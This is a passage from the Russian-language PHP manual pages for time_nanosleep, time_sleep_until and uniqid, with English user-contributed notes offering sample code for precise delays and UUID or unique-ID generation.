
Пример #1 Пример использования time_nanosleep()

<?php
// Внимание! Если будет возвращён массив, то такая функция не сработает, как ожидалось
if (time_nanosleep(0, 500000000)) {
echo "Задержка на полсекунды.\n";
}

// Так лучше:
if (time_nanosleep(0, 500000000) === true) {
echo "Задержка на полсекунды.\n";
}

// А так лучше всего:
$nano = time_nanosleep(2, 100000);

if ($nano === true) {
echo "Задержка на 2 секунды, 100 микросекунд.\n";
} elseif ($nano === false) {
echo "Задержка не удалась.\n";
} elseif (is_array($nano)) {
$seconds = $nano['seconds'];
$nanoseconds = $nano['nanoseconds'];
echo "Прервано сигналом.\n";
echo "Осталось: $seconds секунд, $nanoseconds наносекунд.";
}
?>

Смотрите также

  • sleep() - Задержка выполнения
  • usleep() - Задержка выполнения в микросекундах
  • time_sleep_until() - Откладывает исполнение скрипта до заданного времени
  • set_time_limit() - Ограничение времени выполнения скрипта

User Contributed Notes

b dot andrew at shaw dot ca 04-Jul-2008 09:10
A response to the note below:

Your function is also useless, as the WinNT 32 kernel only functions at a minimum of about 10+ ms (1,000 us), rendering usleep() useless, because usleep uses the C function which is provided by the system (in this case, kernel32.dll).

You'll want to use a function that does not rely on the kernel, but rather something made for precise measurement:

<?php
function usleep_win( $micro_seconds )
{
    if ( @function_exists( "socket_create" ) && @function_exists( "socket_select" ) )
    {
        $false = NULL;
        $socket = array( socket_create( AF_INET, SOCK_RAW, $false ) );
        socket_select( $false, $false, $socket, 0, $micro_seconds );
        return true;
    }
    else
    {
        return false;
    }
}
?>

This function will allow to you sleep for a specified microsecond, although I have measured it to be off by ~5 us.

Again, most of this depends on the hardware in your system. If you _REALLY_ need to be precise to < 10 us, you shouldn't be using WinNT anyways!
fantasysportswire at yahoo dot com 18-Dec-2006 03:27
Just glancing at this - and the note from over a year ago with a implementation for windows.. with 5.0.0 and higher it would be simplier to just do something like......

<?php

if (!function_exists('time_nanosleep')) {

function time_nanosleep($seconds, $nanoseconds) {

sleep($seconds);
usleep(round($nanoseconds/100));

return true;

}

}

?>

....off the top of my head - obviously simple enough there should be no mistakes.. but those are the ones that always seem to get ya :( .....
anybody (a) emuxperts.net 21-Aug-2006 04:03
Documentation states that "seconds" must be positive. This is not correct, 0 is possible.

Rather, "seconds" must be non-negative.
m at kufi dot net 13-Aug-2005 02:03
You should take into account, if you use the function replacement down here, the CPU will be in use of 99% for the time of execution...

(A little bit better in this situation is to let the 'full seconds' go by a normal sleep command (makes the thread sleep!, and uses minimum cpu))

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
//optimizations added by me [start]
//sleep the full seconds
sleep(intval($microtime));
//set the microtime to only resleep the last part of the nanos
$microtime = $microtime - intval($microtime);
//optimizations added by me [end]

        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
 ?>
tecnomaniac at ig dot com dot br 26-Jul-2005 03:04
This is an alternative function to sleep_nanosecond that you can use with PHP versions below PHP 5.0. It is not very accurate if we talk about nanoseconds but the results are satisfatory. Enjoy!

<?php
    //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
    function timeWait($microtime)
    {
        $timeLimit = $microtime + array_sum(explode(" ",microtime()));
        while(array_sum(explode(" ",microtime())) < $timeLimit)
        {/*DO NOTHING*/}
        return(true);
    }

    //THIS IS HOW WE CAN USE IT
    echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
    timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
    echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
?>


Откладывает исполнение скрипта до заданного времени

  • « time_nanosleep
  • uniqid »
  • PHP Manual
  • Разные функции
  • Откладывает исполнение скрипта до заданного времени

time_sleep_until

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

time_sleep_until — Откладывает исполнение скрипта до заданного времени

Описание

time_sleep_until(float $timestamp): bool

Откладывает исполнение скрипта до заданной временной метки, указанной в параметре timestamp.

Список параметров

timestamp

Временная метка продолжения исполнения скрипта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если указанная временная метка timestamp просрочена, то функция сгенерирует E_WARNING.

Примеры

Пример #1 Пример использования time_sleep_until()

<?php

//возвращает false и выводит предупреждение
var_dump(time_sleep_until(time()-1));

// может работать только на быстродействующих компьютерах, выполнение отложено до 0.2 секунд
var_dump(time_sleep_until(microtime(true)+0.2));

?>

Примечания

Замечание: Все сигналы будут доставлены после продолжения исполнения скрипта.

Смотрите также

  • sleep() - Задержка выполнения
  • usleep() - Задержка выполнения в микросекундах
  • time_nanosleep() - Задержка на заданное число секунд и наносекунд
  • set_time_limit() - Ограничение времени выполнения скрипта

User Contributed Notes

divinity76 at gmail dot com 28-Oct-2019 07:22
if you for some reason need a constant-time implementation of realpath(), try

<?php

function realpath_constant_time(string $path, float $target_seconds, bool &$constant_time_success = null){
    $start_time=microtime(true);
    $ret=realpath($path);
    $constant_time_success = @time_sleep_until($start_time+$target_seconds);
    return $ret;
}
?>

for example, a realtime that always uses exactly 1 millisecond (should be more than enough for SSD-based servers, perhaps rotating harddrive based servers may need something closer to 10 milliseconds, i don't know):

<?php
realpath_constant_time("/path/to/../to/file.txt",0.001,$constant_time_success);
?>

and you can use $constant_time_success to see if you needed more time (and thus failed to do realpath() in constant-time), or if you succeeded.
rowan dot collins at cwtdigital dot com 30-May-2012 10:42
Not realising that this function existed, I wrote something similar, but it has the additional facility to specify a minimum pause even if the target time has already been reached, for instance in a processor-intensive loop.

It's in seconds rather than microseconds (it's intended for heavy-duty CLI scripts), but that could easily be changed by using microtime(true) and usleep if greater granularity was required.

<?php
    /**
     * Pause processing until the specified time, to avoid hammering a DB or service
     *
     * @param int $target_time Timestamp
     * @param int $min_sleep Always sleep for a minimum number of seconds,
     *    even if the target timestamp has already passed.
     *     Default 0, meaning only sleep until the target timestamp is reached.
     *
     * @example <code>
         while ( ! $finished )
         {
             $minimum_start_of_next_loop = time() + $min_secs_per_loop;

             # DO STUFF THAT MAY OR MAY NOT TAKE VERY LONG

             sleep_until( $minimum_start_of_next_loop, $min_pause_between_loops );
         }
     </code>
     */
    function sleep_until($target_time, $min_sleep = 0)
    {
        $time_now = time();

        $time_to_target = $target_time - $time_now;

        // If we've already reached the target time, that's fine
        if ( $time_to_target <= $min_sleep )
        {
            // If required, sleep for a bit anyway
            sleep( $min_sleep );
        }
        else
        {
            // Sleep for the number of seconds until the target time
            sleep( $time_to_target );
        }
    }
?>
purdue at nc dot rr dot com 05-May-2011 11:04
At least on my Windows machine, the time_sleep_until function appears to calculate the number of microseconds between now and the sleep-until timestamp, and it appears to use unsigned 32-bit math in this calculation.  This roundoff leads to a maximum sleep time of just under 4295 seconds (1 hour, 11 minutes, 35 seconds).  To get longer sleep times, while still using time_sleep_until to minimize processor overhead, the following loop may be some help to you:

<?php

$sleepuntil = strtotime("tuesday 3pm");

while (time() < $sleepuntil)
   time_sleep_until($sleepuntil);

// proceed with dated processing

?>

Of course, one could use something like "cron" instead, to avoid the script doing the extended sleep.  Also note that time_nanosleep appears to do similar math, but it is somewhat more intuitive that the seconds parameter has an upper limit on what it can be.  Still, both functions might report a warning when waking up prematurely due to roundoff.


Сгенерировать уникальный ID

  • « time_sleep_until
  • unpack »
  • PHP Manual
  • Разные функции
  • Сгенерировать уникальный ID

uniqid

(PHP 4, PHP 5, PHP 7, PHP 8)

uniqid — Сгенерировать уникальный ID

Описание

uniqid(string $prefix = "", bool $more_entropy = false): string

Получает уникальный идентификатор с префиксом, основанный на текущем времени в микросекундах.

Предостережение

Функция не создаёт криптографически защищённые значения и не должна использоваться для криптографических целей или целей, требующих, чтобы возвращаемые значения были недоступны для разгадывания.

Если требуется криптографически безопасная случайная последовательность, Random\Randomizer может использоваться с движком Random\Engine\Secure. Для простых случаев использования функции random_int() и random_bytes() предоставляют удобный и безопасный API, поддерживаемый CSPRNG операционной системы.

Внимание

Эта функция не гарантирует получения уникального значения. Большинство операционных систем синхронизирует время с NTP, либо его аналогами, так что системное время постоянно меняется. Следовательно возможна ситуация, когда эта функция вернёт неуникальный идентификатор для процесса/потока. Для увеличения вероятности получения уникального значения используйте параметр more_entropy.

Список параметров

prefix

Может быть полезно, к примеру, если идентификаторы генерируются одновременно на нескольких хостах и генерация идентификаторов производится в одну и ту же микросекунду.

С пустым параметром prefix, возвращаемая строка будет длиной в 13 символов. Если параметр more_entropy равен true, то строка будет длиной в 23 символа.

more_entropy

Если равен true, то функция uniqid() добавит дополнительную энтропию (используя комбинированный линейный конгруэнтный генератор) в конце возвращаемого значения, что увеличивает вероятность уникальности результата.

Возвращаемые значения

Возвращает уникальный идентификатор в виде строки.

Внимание

Эта функция пытается создать уникальный идентификатор, но не даёт 100% гарантии уникальности.

Примеры

Пример #1 Пример использования uniqid()

<?php
/* Уникальный id, например: 4b3403665fea6 */
printf("uniqid(): %s\r\n", uniqid());

/* Префикс к уникальному id можно добавить одним
* из следующих способов:
*
* $uniqid = $prefix . uniqid();
* $uniqid = uniqid($prefix);
*/
printf("uniqid('php_'): %s\r\n", uniqid('php_'));

/* Также можно активировать параметр большей энтропии, который
* требуется на некоторых системах, таких как Cygwin. Таким образом
* функция uniqid() сгенерирует значение: 4b340550242239.64159797
*/
printf("uniqid('', true): %s\r\n", uniqid('', true));
?>

Примечания

Замечание:

В Cygwin параметр more_entropy должен быть задан как true для работы этой функции.

Смотрите также

  • random_bytes() - Получает криптографически безопасные случайные байты

User Contributed Notes

Albert Rolando 06-Mar-2023 05:30
Don't try to overthink UUID V4 generation...

<?php
function generateUuid4() {
    $randomBytes = bin2hex(random_bytes(16));
    return sprintf("%s-%s-%s-%s-%s",
        substr($randomBytes, 0, 8),
        substr($randomBytes, 8, 4),
        substr($randomBytes, 12, 4),
        substr($randomBytes, 16, 4),
        substr($randomBytes, 20)
    );
}
?>
DimeCadmium 25-Jul-2019 07:00
Most of these notes are grossly wrong.

First: you probably shouldn't be using uniqid at all. I can't think of a good reason to use it. Maybe to use as an identifier for a particular run of your script in logging, where you don't particularly care if there's a collision? I don't know.

Second: don't rely on the output of uniqid to be, in any way, unique. This will break if you use it twice in quick succession, or if you have two different users at the same time, or if the phase of the moon is wrong.

Third: to nodkz who wrote the clientIPToHex function - you reinvented so many wheels. bin2hex(inet_pton($ip)) will do the same thing.

Fourth: do not use random bytes for a unique identifier (like hackan suggests). That only serves to virtually guarantee that you will eventually have a collision. (You can use random bytes, and get another set of random bytes if there's a collision... but it's a lot easier to just use a sequential identifier like you should, possibly along with a random key)
hackan at gmail dot com 05-Nov-2016 07:17
Seriously, avoid using this function. Here's an example of why:

<?php
for($i=0;$i<20;$i++) {
    echo uniqid(), PHP_EOL;
}
?>

Output:

5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c0ce
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6
5819f3ad1c4b6

As you can see, using it w/ a DB can cause the creation of documents with repeated ID's. You should instead opt for:

<?php
function uniqidReal($lenght = 13) {
    // uniqid gives 13 chars, but you could adjust it to your needs.
    if (function_exists("random_bytes")) {
        $bytes = random_bytes(ceil($lenght / 2));
    } elseif (function_exists("openssl_random_pseudo_bytes")) {
        $bytes = openssl_random_pseudo_bytes(ceil($lenght / 2));
    } else {
        throw new Exception("no cryptographically secure random function available");
    }
    return substr(bin2hex($bytes), 0, $lenght);
}
?>

Test:
<?php
for($i=0;$i<20;$i++) {
    echo uniqid(), "\t", uniqidReal(), PHP_EOL;
}
?>

Output:

5819fa0b63be3   9f39aa0ecd89d
5819fa0b70ed3   2c0735cabfcce
5819fa0b712bb   15e45d1ca1e90
5819fa0b712bb   89593dc230eb3
5819fa0b712bb   449795704aeef
5819fa0b712bb   b046877b80ac9
5819fa0b712bb   0a6fa0ae3ec7b
5819fa0b712bb   ba2f3f4d6afe0
5819fa0b712bb   af03cfac83fd6
5819fa0b712bb   eb9c3c6d475c0
5819fa0b712bb   edfbbf59d5e1b
5819fa0b712bb   500dca18888d4
5819fa0b716a3   4f5a40ef715f1
5819fa0b716a3   154e42b616825
5819fa0b716a3   a879a22663c9b
5819fa0b716a3   ea7c044ddda8a
5819fa0b716a3   2c81a44dc674e
5819fa0b716a3   bb32f37304fd9
5819fa0b716a3   30cdf6c0317d7
5819fa0b716a3   d25f529d126ae
php at dot dot dot metehanarslan dot com 21-Apr-2016 12:33
Here is my approach to generate short string unique id. I am just increasing base of UUID. If you need even shorter keys you may add more chars to $index . When $index gets longer $out will be shorter.

<?php
function struuid($entropy)
{
    $s=uniqid("",$entropy);
    $num= hexdec(str_replace(".","",(string)$s));
    $index = '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $base= strlen($index);
    $out = '';
        for($t = floor(log10($num) / log10($base)); $t >= 0; $t--) {
            $a = floor($num / pow($base,$t));
            $out = $out.substr($index,$a,1);
            $num = $num-($a*pow($base,$t));
        }
    return $out;
}

echo struuid(false); //Return sample: F4518NTQTQ
echo struuid(true);  //Return sample: F451FAHSUCD90N6YNRBQHLZ9E1W

?>
ciantic at NOSPAM dot oksidi dot com 05-Dec-2013 03:34
If you are storing the value to database it might be more efficient to use more letters than in hexadecimal, for me I decided 0-9a-z is good enough.

Notice also that many databases are case insensitive by default so using capitals maybe unwise anyway:

<?php

function uniqid_base36($more_entropy=false) {
    $s = uniqid('', $more_entropy);
    if (!$more_entropy)
        return base_convert($s, 16, 36);

    $hex = substr($s, 0, 13);
    $dec = $s[13] . substr($s, 15); // skip the dot
    return base_convert($hex, 16, 36) . base_convert($dec, 10, 36);
}

echo uniqid_base36() . "\n"; // ?eb98xzzhq7
echo uniqid_base36(true) . "\n"; // eb98xzzhr8dervre

?>

String length may vary with this method.
redtraider at gmail dot com 14-Feb-2012 12:37
I use this function to generate microsoft-compatible GUID's.

<?php
 public function create_guid($namespace = '') {
    static $guid = '';
    $uid = uniqid("", true);
    $data = $namespace;
    $data .= $_SERVER['REQUEST_TIME'];
    $data .= $_SERVER['HTTP_USER_AGENT'];
    $data .= $_SERVER['LOCAL_ADDR'];
    $data .= $_SERVER['LOCAL_PORT'];
    $data .= $_SERVER['REMOTE_ADDR'];
    $data .= $_SERVER['REMOTE_PORT'];
    $hash = strtoupper(hash('ripemd128', $uid . $guid . md5($data)));
    $guid = '{' .
            substr($hash,  0,  8) .
            '-' .
            substr($hash,  8,  4) .
            '-' .
            substr($hash, 12,  4) .
            '-' .
            substr($hash, 16,  4) .
            '-' .
            substr($hash, 20, 12) .
            '}';
    return $guid;
  }
?>
Anonymous 16-Jun-2011 04:08
Prefix can be useful, for instance, if you generate identifiers simultaneously on several hosts that might happen to generate the identifier at the same microsecond.
So we can include the hostname / servername in the id.
<?php
echo uniqid(php_uname('n'), true);
// Output: darkstar4dfa8c27aea106.40781203
?>
rommel at rommelsantor dot com 28-May-2011 03:29
The php5-uuid functions could definitely use some documentation to clarify how they should be used, but here's what I've gleaned by examining the OSSP source code (found here: http://ossp-uuid.sourcearchive.com/documentation/1.5.1-1ubuntu1/php_2uuid_8c-source.html).

The uuid_make() function takes two arguments when generating v1 or v4, but four arguments are required when generating v3 or v5. The first two arguments have been demonstrated below and are straightforward, so I'll skip to the as-yet non-described arguments.

The third argument to uuid_make() is: $namespace
  - this is a secondary resource created with uuid_create(); it is apparently used to generate an internal UUID, which is used as the namespace of the output UUID

The fourth argument to uuid_make() is: $url
  - this is the value that is to be hashed (MD5 for v3, SHA-1 for v5); it may be any string or even null

Here's a simple class illustrating the proper usage (note that if php5-uuid is not installed on your system, each function call will just return false):

<?php
class UUID {
  /**
   * Generates version 1: MAC address
   */
  public static function v1() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);
    uuid_make($context, UUID_MAKE_V1);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 3 UUID: MD5 hash of URL
   */
  public static function v3($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V3, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 4 UUID: random
   */
  public static function v4() {
    if (!function_exists('uuid_create'))
      return false;

    uuid_create(&$context);

    uuid_make($context, UUID_MAKE_V4);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }

  /**
   * Generates version 5 UUID: SHA-1 hash of URL
   */
  public static function v5($i_url) {
    if (!function_exists('uuid_create'))
      return false;

    if (!strlen($i_url))
      $i_url = self::v1();

    uuid_create(&$context);
    uuid_create(&$namespace);

    uuid_make($context, UUID_MAKE_V5, $namespace, $i_url);
    uuid_export($context, UUID_FMT_STR, &$uuid);
    return trim($uuid);
  }
}
?>

And here's a demonstration:

<?php
for ($i = 1; $i <= 3; ++$i) {
  echo 'microtime = ' . microtime(true) . '<br/>';
  echo "V1 UUID: " . UUID::v1() . '<br/>';
  echo "V3 UUID of URL='abc': " . UUID::v3('abc') . '<br/>';
  echo "V4 UUID: " . UUID::v4() . '<br/>';
  echo "V5 UUID of URL=null: " . UUID::v5(null) . '<br/>';
  echo '<hr/>';
}
?>

And the output:

microtime = 1306620716.0457
V1 UUID: 7fddae8e-8977-11e0-bc11-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: b3851ec7-4871-4527-92b5-ef5616bae1e6
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0465
V1 UUID: 7fddb83e-8977-11e0-9e6e-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 7e78fe0d-59b8-4637-af7f-e88d221a7d1e
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d
-------------------
microtime = 1306620716.0467
V1 UUID: 7fddbfb4-8977-11e0-a2bc-003048c3b1f2
V3 UUID of URL='abc': 522ec739-ca63-3ec5-b082-08ce08ad65e2
V4 UUID: 12a940c7-0f3f-46a1-bb5f-bdd602e10654
V5 UUID of URL=null: e129f27c-5103-5c5c-844b-cdf0a15e160d

As you can see, the calls to v3() always return the same UUID because the same URL parameter, "abc", is always supplied. The same goes for the v5() function which is always supplied a null URL.

The v4() UUIDs are always entirely different because they are (pseudo)random. And the v1() calls are very similar but just slightly different because it's based on the computer's MAC address and the current time.
php at ryanmckeel dot com 29-Jun-2010 10:15
Calls to uuid_make that use the constants UUID_MAKE_V5 or UUID_MAKE_V3 (using Debian package php5-uuid available June 2010) will not work with only two variables.

I could not find good documentation, so I read some source code and figured out that this would work:

uuid_create(&$v5);
//uuid_make($v5, UUID_MAKE_V5);
uuid_make($v5, UUID_MAKE_V5,$v5,$uniqid());
uuid_export($v5, UUID_FMT_STR, &$v5String);

Please use at your own risk.  This may not be the best way to give this param variables, but it at least makes it work what appears to be properly (generating unique ID's).

I imagine that UUID_MAKE_V3 is similar in what it needs.

  Ryan
Enrico Pallazzo 21-Mar-2010 02:45
Running:

rand_uniqid(9007199254740989);

will return 'PpQXn7COf' and:

rand_uniqid('PpQXn7COf', true);

will return '9007199254740989'

---

If you want the rand_uniqid to be at least 6 letter long, use the $pad_up = 6 argument

---

You can support even more characters (making the resulting rand_uniqid even smaller) by adding characters to the $index var at the top of the function body.

---

<?php
function rand_uniqid($in, $to_num = false, $pad_up = false, $passKey = null)
{
    $index = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    if ($passKey !== null) {
        // Although this function's purpose is to just make the
        // ID short - and not so much secure,
        // you can optionally supply a password to make it harder
        // to calculate the corresponding numeric ID

        for ($n = 0; $n<strlen($index); $n++) {
            $i[] = substr( $index,$n ,1);
        }

        $passhash = hash('sha256',$passKey);
        $passhash = (strlen($passhash) < strlen($index))
            ? hash('sha512',$passKey)
            : $passhash;

        for ($n=0; $n < strlen($index); $n++) {
            $p[] =  substr($passhash, $n ,1);
        }

        array_multisort($p,  SORT_DESC, $i);
        $index = implode($i);
    }

    $base  = strlen($index);

    if ($to_num) {
        // Digital number  <<--  alphabet letter code
        $in  = strrev($in);
        $out = 0;
        $len = strlen($in) - 1;
        for ($t = 0; $t <= $len; $t++) {
            $bcpow = bcpow($base, $len - $t);
            $out   = $out + strpos($index, substr($in, $t, 1)) * $bcpow;
        }

        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $out -= pow($base, $pad_up);
            }
        }
        $out = sprintf('%F', $out);
        $out = substr($out, 0, strpos($out, '.'));
    } else {
        // Digital number  -->>  alphabet letter code
        if (is_numeric($pad_up)) {
            $pad_up--;
            if ($pad_up > 0) {
                $in += pow($base, $pad_up);
            }
        }

        $out = "";
        for ($t = floor(log($in, $base)); $t >= 0; $t--) {
            $bcp = bcpow($base, $t);
            $a   = floor($in / $bcp) % $base;
            $out = $out . substr($index, $a, 1);
            $in  = $in - ($a * $bcp);
        }
        $out = strrev($out); // reverse
    }

    return $out;
}

echo rand_uniqid(1);
?>
keith at keithtyler dot com 07-Dec-2009 06:18
For the record, the underlying function to uniqid() appears to be roughly as follows:

$m=microtime(true);
sprintf("%8x%05x\n",floor($m),($m-floor($m))*1000000);

In other words, first 8 hex chars = Unixtime, last 5 hex chars = microseconds. This is why it has microsecond precision. Also, it provides a means by which to reverse-engineer the time when a uniqid was generated:

date("r",hexdec(substr(uniqid(),0,8)));

Increasingly as you go further down the string, the number becomes "more unique" over time, with the exception of digit 9, where numeral prevalence is 0..3>4>5..f, because of the difference between 10^6 and 16^5 (this is presumably true for the remaining digits as well but much less noticeable).
Andrew Moore 04-Dec-2009 08:45
The following class generates VALID RFC 4211 COMPLIANT Universally Unique IDentifiers (UUID) version 3, 4 and 5.

Version 3 and 5 UUIDs are named based. They require a namespace (another valid UUID) and a value (the name). Given the same namespace and name, the output is always the same.

Version 4 UUIDs are pseudo-random.

UUIDs generated below validates using OSSP UUID Tool, and output for named-based UUIDs are exactly the same. This is a pure PHP implementation.

<?php
class UUID {
  public static function v3($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = md5($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 3
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x3000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function v4() {
    return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',

      // 32 bits for "time_low"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff),

      // 16 bits for "time_mid"
      mt_rand(0, 0xffff),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 4
      mt_rand(0, 0x0fff) | 0x4000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      mt_rand(0, 0x3fff) | 0x8000,

      // 48 bits for "node"
      mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
  }

  public static function v5($namespace, $name) {
    if(!self::is_valid($namespace)) return false;

    // Get hexadecimal components of namespace
    $nhex = str_replace(array('-','{','}'), '', $namespace);

    // Binary Value
    $nstr = '';

    // Convert Namespace UUID to bits
    for($i = 0; $i < strlen($nhex); $i+=2) {
      $nstr .= chr(hexdec($nhex[$i].$nhex[$i+1]));
    }

    // Calculate hash value
    $hash = sha1($nstr . $name);

    return sprintf('%08s-%04s-%04x-%04x-%12s',

      // 32 bits for "time_low"
      substr($hash, 0, 8),

      // 16 bits for "time_mid"
      substr($hash, 8, 4),

      // 16 bits for "time_hi_and_version",
      // four most significant bits holds version number 5
      (hexdec(substr($hash, 12, 4)) & 0x0fff) | 0x5000,

      // 16 bits, 8 bits for "clk_seq_hi_res",
      // 8 bits for "clk_seq_low",
      // two most significant bits holds zero and one for variant DCE1.1
      (hexdec(substr($hash, 16, 4)) & 0x3fff) | 0x8000,

      // 48 bits for "node"
      substr($hash, 20, 12)
    );
  }

  public static function is_valid($uuid) {
    return preg_match('/^\{?[0-9a-f]{8}\-?[0-9a-f]{4}\-?[0-9a-f]{4}\-?'.
                      '[0-9a-f]{4}\-?[0-9a-f]{12}\}?$/i', $uuid) === 1;
  }
}

// Usage
// Named-based UUID.

$v3uuid = UUID::v3('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');
$v5uuid = UUID::v5('1546058f-5a25-4334-85ae-e68f2a44bbaf', 'SomeRandomString');

// Pseudo-random UUID

$v4uuid = UUID::v4();
?>
david at ramaboo dot com 05-Jan-2009 12:51
Another UUID function. This time using /dev/random
<?php
/**
     * @brief Generates a Universally Unique IDentifier, version 4.
     *
     * This function generates a truly random UUID. The built in CakePHP String::uuid() function
     * is not cryptographically secure. You should uses this function instead.
     *
     * @see http://tools.ietf.org/html/rfc4122#section-4.4
     * @see http://en.wikipedia.org/wiki/UUID
     * @return string A UUID, made up of 32 hex digits and 4 hyphens.
     */
    public function uuidSecure() {

        $pr_bits = null;
        $fp = @fopen('/dev/urandom','rb');
        if ($fp !== false) {
            $pr_bits .= @fread($fp, 16);
            @fclose($fp);
        } else {
            $this->cakeError('randomNumber');
        }

        $time_low = bin2hex(substr($pr_bits,0, 4));
        $time_mid = bin2hex(substr($pr_bits,4, 2));
        $time_hi_and_version = bin2hex(substr($pr_bits,6, 2));
        $clock_seq_hi_and_reserved = bin2hex(substr($pr_bits,8, 2));
        $node = bin2hex(substr($pr_bits,10, 6));

        /**
         * Set the four most significant bits (bits 12 through 15) of the
         * time_hi_and_version field to the 4-bit version number from
         * Section 4.1.3.
         * @see http://tools.ietf.org/html/rfc4122#section-4.1.3
         */
        $time_hi_and_version = hexdec($time_hi_and_version);
        $time_hi_and_version = $time_hi_and_version >> 4;
        $time_hi_and_version = $time_hi_and_version | 0x4000;

        /**
         * Set the two most significant bits (bits 6 and 7) of the
         * clock_seq_hi_and_reserved to zero and one, respectively.
         */
        $clock_seq_hi_and_reserved = hexdec($clock_seq_hi_and_reserved);
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved >> 2;
        $clock_seq_hi_and_reserved = $clock_seq_hi_and_reserved | 0x8000;

        return sprintf('%08s-%04s-%04x-%04x-%012s',
            $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $node);
    }
?>
nodkz at mail dot ru 15-Jan-2008 02:00
I use such UUID (it not RFC!!!)
(server_id)-(clientIP)-(unixtime)-(milliseconds)-(random)

 I can easyly determine which server at which time and who initiate creating of object.

<?php

$u=uuid();   // 0001-7f000001-478c8000-4801-47242987
echo $u;
echo "<br>";
print_r(uuidDecode($u)); // Array ( [serverID] => 0001 [ip] => 127.0.0.1 [unixtime] => 1200390144 [micro] => 0.28126525878906 )

function uuid($serverID=1)
{
    $t=explode(" ",microtime());
    return sprintf( '%04x-%08s-%08s-%04s-%04x%04x',
        $serverID,
        clientIPToHex(),
        substr("00000000".dechex($t[1]),-8),   // get 8HEX of unixtime
        substr("0000".dechex(round($t[0]*65536)),-4), // get 4HEX of microtime
        mt_rand(0,0xffff), mt_rand(0,0xffff));
}

function uuidDecode($uuid) {
    $rez=Array();
    $u=explode("-",$uuid);
    if(is_array($u)&&count($u)==5) {
        $rez=Array(
            'serverID'=>$u[0],
            'ip'=>clientIPFromHex($u[1]),
            'unixtime'=>hexdec($u[2]),
            'micro'=>(hexdec($u[3])/65536)
        );
    }
    return $rez;
}

function clientIPToHex($ip="") {
    $hex="";
    if($ip=="") $ip=getEnv("REMOTE_ADDR");
    $part=explode('.', $ip);
    for ($i=0; $i<=count($part)-1; $i++) {
        $hex.=substr("0".dechex($part[$i]),-2);
    }
    return $hex;
}

function clientIPFromHex($hex) {
    $ip="";
    if(strlen($hex)==8) {
        $ip.=hexdec(substr($hex,0,2)).".";
        $ip.=hexdec(substr($hex,2,2)).".";
        $ip.=hexdec(substr($hex,4,2)).".";
        $ip.=hexdec(substr($hex,6,2));
    }
    return $ip;
}

?>
ken at smallboxsoftware 17-May-2007 09:34
Just to note this function is fairly slow, and can bring your script to a crawl if it is in a loop. Strangely if you run it as uniqid('', true) it runs much more quickly
lance_rushing at hotmail dot com 23-Jan-2007 12:43
